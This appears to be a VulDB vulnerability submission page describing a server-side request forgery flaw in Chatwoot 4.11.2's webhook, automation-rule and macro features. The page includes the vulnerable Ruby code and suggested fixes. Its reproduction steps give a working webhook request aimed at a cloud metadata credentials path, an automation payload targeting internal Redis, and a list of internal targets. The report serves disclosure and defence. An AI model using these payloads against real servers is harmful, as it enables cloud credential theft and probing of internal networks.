제출 #780305: Chatwoot 4.11.2 Server-Side Request Forgery정보

제목Chatwoot 4.11.2 Server-Side Request Forgery
설명## Summary Users with appropriate roles can define webhook URLs (via Webhooks, Automation Rules, and Macros) that the server POSTs to on events. The Webhook model validates URL format but does NOT restrict URLs pointing to internal/private IP addresses. The webhook trigger executes `RestClient::Request` without any SSRF protection. ## Affected Component - **File:** `app/models/webhook.rb` — URL validation (line 25) - **File:** `lib/webhooks/trigger.rb` — `perform_request` (lines 33–41) - **File:** `app/services/automation_rules/action_service.rb` — `send_webhook_event` (line 38–40) - **File:** `app/services/macros/execution_service.rb` — `send_webhook_event` (line 66–68) - **Version tested:** v4.11.2 ## CWE CWE-918: Server-Side Request Forgery (SSRF) ## Description The Webhook model validates the URL format but not its destination: ```ruby # app/models/webhook.rb, line 25 validates :url, uniqueness: { scope: [:account_id] }, format: URI::DEFAULT_PARSER.make_regexp(%w[http https]) ``` This regex check accepts any HTTP/HTTPS URL including internal addresses. The `Webhooks::Trigger` class executes the request without SSRF protection: ```ruby # lib/webhooks/trigger.rb, lines 33-41 def perform_request body = @payload.to_json RestClient::Request.execute( method: :post, url: @url, # <-- User-controlled URL, no IP filtering payload: body, headers: request_headers(body), timeout: webhook_timeout ) end ``` Automation rules allow any user who can create automations to define webhook URLs: ```ruby # app/services/automation_rules/action_service.rb, lines 38-40 def send_webhook_event(webhook_url) payload = @conversation.webhook_data.merge(event: "automation_event.#{@rule.event_name}") WebhookJob.perform_later(webhook_url[0], payload) end ``` The webhook payload includes sensitive data: conversation content, contact details (name, email, phone), agent information, and account metadata. ## Steps to Reproduce **Via Webhook API:** 1. Authenticate as a user with webhook creation permissions. 2. Create a webhook targeting internal infrastructure: ```http POST /api/v1/accounts/{account_id}/webhooks HTTP/1.1 api_access_token: <token> Content-Type: application/json { "url": "http://x.x.x.x/latest/meta-data/iam/security-credentials/", "subscriptions": ["message_created"] } ``` 3. The webhook is created successfully (URL format is valid HTTP). 4. When a new message is created, the Chatwoot server POSTs to the AWS metadata endpoint. **Via Automation Rule:** 1. Create an automation rule with a `send_webhook_event` action: ```json { "name": "SSRF Probe", "event_name": "message_created", "conditions": [{"attribute_key": "status", "filter_operator": "equal_to", "values": ["open"], "query_operator": null}], "actions": [{"action_name": "send_webhook_event", "action_params": ["http://127.0.0.1:6379/"]}] } ``` 2. On every new message, the server sends a POST to the internal Redis instance. **Alternative targets:** - `http://127.0.0.1:5432/` — PostgreSQL - `http://kubernetes.default.svc/api/v1/namespaces` — Kubernetes API - `http://127.0.0.1:3000/super_admin/` — Chatwoot super admin panel - `http://x.x.x.x/computeMetadata/v1/` — GCP metadata (with header) ## Impact - **Cloud credential theft**: Access AWS/GCP/Azure metadata endpoints to obtain IAM credentials. - **Internal network scanning**: Probe internal services and ports from the Chatwoot server. - **Internal service interaction**: Send POST requests with JSON payloads to internal APIs. - **Data exfiltration**: Sensitive conversation data (customer PII, messages) is included in the webhook payload sent to the attacker's endpoint. - **Lateral movement**: Use SSRF as a pivot point to attack other internal services. ## Suggested Fix 1. **Validate webhook URLs against private IP ranges** at both save time and execution time: ```ruby # app/models/webhook.rb validate :url_not_private def url_not_private resolved = Resolv.getaddress(URI.parse(url).host) rescue nil if resolved && IPAddr.new(resolved).private? errors.add(:url, 'cannot point to private/internal IP addresses') end end ``` 2. **Use an SSRF-safe HTTP client** in `Webhooks::Trigger`: ```ruby # lib/webhooks/trigger.rb require 'ssrf_filter' def perform_request body = @payload.to_json SsrfFilter.post(@url, body: body, headers: request_headers(body)) end ``` 3. Apply the same protection to automation rule and macro webhook actions. 4. Consider maintaining an allow-list of permitted webhook URL patterns for high-security deployments. ## References - [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html) - [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)
사용자
 Ghufran Khan (UID 95493)
제출2026. 03. 14. PM 09:25 (23 날 ago)
모더레이션2026. 03. 31. AM 10:48 (17 days later)
상태수락
VulDB 항목354333 [chatwoot 까지 4.11.2 Webhook API lib/webhooks/trigger.rb Webhooks::Trigger url 권한 상승]
포인트들17

Want to know what is going to be exploited?

We predict KEV entries!